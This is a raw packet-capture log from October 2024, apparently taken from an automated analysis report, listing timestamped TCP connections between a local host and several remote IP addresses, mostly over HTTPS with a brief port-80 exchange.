Oct 29, 2024 06:59:09.036853075 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.079356909 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.080410004 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.080431938 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.127276897 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.285098076 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.285392046 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.285417080 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.286851883 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.286932945 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.287230015 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.287328959 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.287497997 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.287513971 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.323916912 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.323959112 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.323981047 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.324003935 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.324042082 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.324062109 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.324089050 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.324198961 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.325412035 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.325418949 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.330574036 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.333436966 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.333498955 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.333513975 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.377475977 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.377491951 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.424392939 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.439466000 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.439506054 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.439575911 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.439593077 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.444315910 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.446331978 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.446346045 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.448070049 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.448143005 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.448162079 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.456854105 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.456918955 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.456933022 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.465590000 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.467331886 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.467344999 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.474479914 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.479338884 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.479352951 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.483097076 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.485429049 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.485441923 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.491472006 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.494343042 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.494355917 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.499699116 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.502455950 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.502464056 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.549325943 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.549343109 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.554560900 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.554717064 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.554749966 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.554799080 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.554831028 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.554867029 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.555213928 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.555277109 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.555293083 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.559127092 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.559153080 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.559214115 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.559228897 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.561321020 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.561516047 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.563507080 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.567142963 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.567169905 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.567231894 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.567245960 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.567302942 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.573659897 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.579587936 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.579750061 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.579811096 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.579828024 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.580701113 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.585833073 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.591763973 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.591789961 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.591847897 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.591862917 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.594321966 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.597846985 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.603964090 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.603992939 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.604031086 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.604038954 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.604082108 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.610212088 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.610250950 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.610301018 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.610307932 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.611824036 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.611864090 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.612701893 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.612792969 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.612869978 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.616044998 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.616092920 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.616100073 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.621922016 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.621990919 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.621999025 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.627881050 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.627962112 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.627991915 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.633982897 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.634047985 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.634062052 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.669867992 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.669913054 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.669931889 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.669953108 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.670008898 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.670022011 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.670558929 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.670625925 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.670639038 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.674565077 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.674599886 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.674622059 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.674628019 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.674681902 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.674683094 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.680304050 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.680366993 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.680381060 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.685853004 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.685883999 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.685930014 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.685945034 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.686000109 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.689002037 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.695017099 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.695082903 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.695095062 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.701298952 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.701327085 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.701371908 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.701380014 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.701423883 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.701459885 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.709322929 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.709378958 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.709393024 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.713310003 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.713360071 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.713366985 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.719219923 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.719279051 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.719285965 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.731410980 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.731440067 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.731460094 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.731475115 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.731532097 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.737607956 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.743323088 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.743347883 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.743369102 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.743379116 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.743393898 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.743423939 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.743669987 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.743714094 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.743776083 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:10.029537916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:10.029608011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:11.793066978 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:11.793092012 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:11.793178082 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:11.793373108 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:11.793384075 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.004084110 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.004131079 CET	443	49721	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:12.004224062 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.004450083 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.004465103 CET	443	49721	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:12.077995062 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:12.078032970 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:12.078155994 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:12.080032110 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:12.080063105 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:12.656132936 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.656394005 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.656404972 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.657356024 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.657413960 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.658991098 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.659048080 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.659200907 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.659207106 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.705370903 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.796766043 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:12.796808004 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:12.796895027 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:12.797156096 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:12.797173977 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:12.862382889 CET	443	49721	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:12.872234106 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.872250080 CET	443	49721	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:12.873708010 CET	443	49721	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:12.873788118 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.874306917 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.874394894 CET	443	49721	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:12.904834986 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.904877901 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.904921055 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.904928923 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.905232906 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.905263901 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.905280113 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.905284882 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.905316114 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.905319929 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.913369894 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.913417101 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.913422108 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.921741009 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:12.921875000 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:12.924091101 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.924101114 CET	443	49721	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:12.927234888 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:12.927243948 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:12.927576065 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:12.955329895 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:12.955337048 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:12.971007109 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:12.971008062 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:12.978358030 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:13.002221107 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.023324013 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:13.023689032 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.023742914 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.023785114 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.023792028 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.024530888 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.024575949 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.024580956 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.028851032 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.028906107 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.028912067 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.037519932 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.037569046 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.037573099 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.046289921 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.046336889 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.046343088 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.054927111 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.054980040 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.054986000 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.063710928 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.063764095 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.063770056 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.072417974 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.072460890 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.072467089 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.082477093 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.082534075 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.082539082 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.142285109 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.142339945 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.142354012 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.142390966 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.142422915 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.142427921 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.142438889 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.142477036 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.142877102 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.143421888 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.143452883 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.143470049 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.143475056 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.143527985 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.143532038 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.147633076 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.147670031 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.147686005 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.147691965 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.147725105 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.147730112 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.155951023 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.155993938 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.156001091 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.160190105 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.160240889 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.160245895 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.166479111 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.166544914 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.166551113 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.172360897 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.172405958 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.172410011 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.178328991 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.178365946 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.178373098 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.184360027 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.184449911 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.184454918 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.190485954 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.190535069 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.190540075 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.196700096 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.196748972 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.196754932 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.202575922 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.202636003 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.202641964 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.208462000 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.208513975 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.208518982 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.214495897 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.214565992 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.214570999 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.220541954 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.220594883 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.220601082 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.221721888 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:13.221775055 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:13.221856117 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:13.225534916 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:13.225534916 CET	49722	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:13.225563049 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:13.225575924 CET	443	49722	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:13.226568937 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.226615906 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.226624966 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.260910034 CET	443	49720	142.250.186.142	192.168.2.5
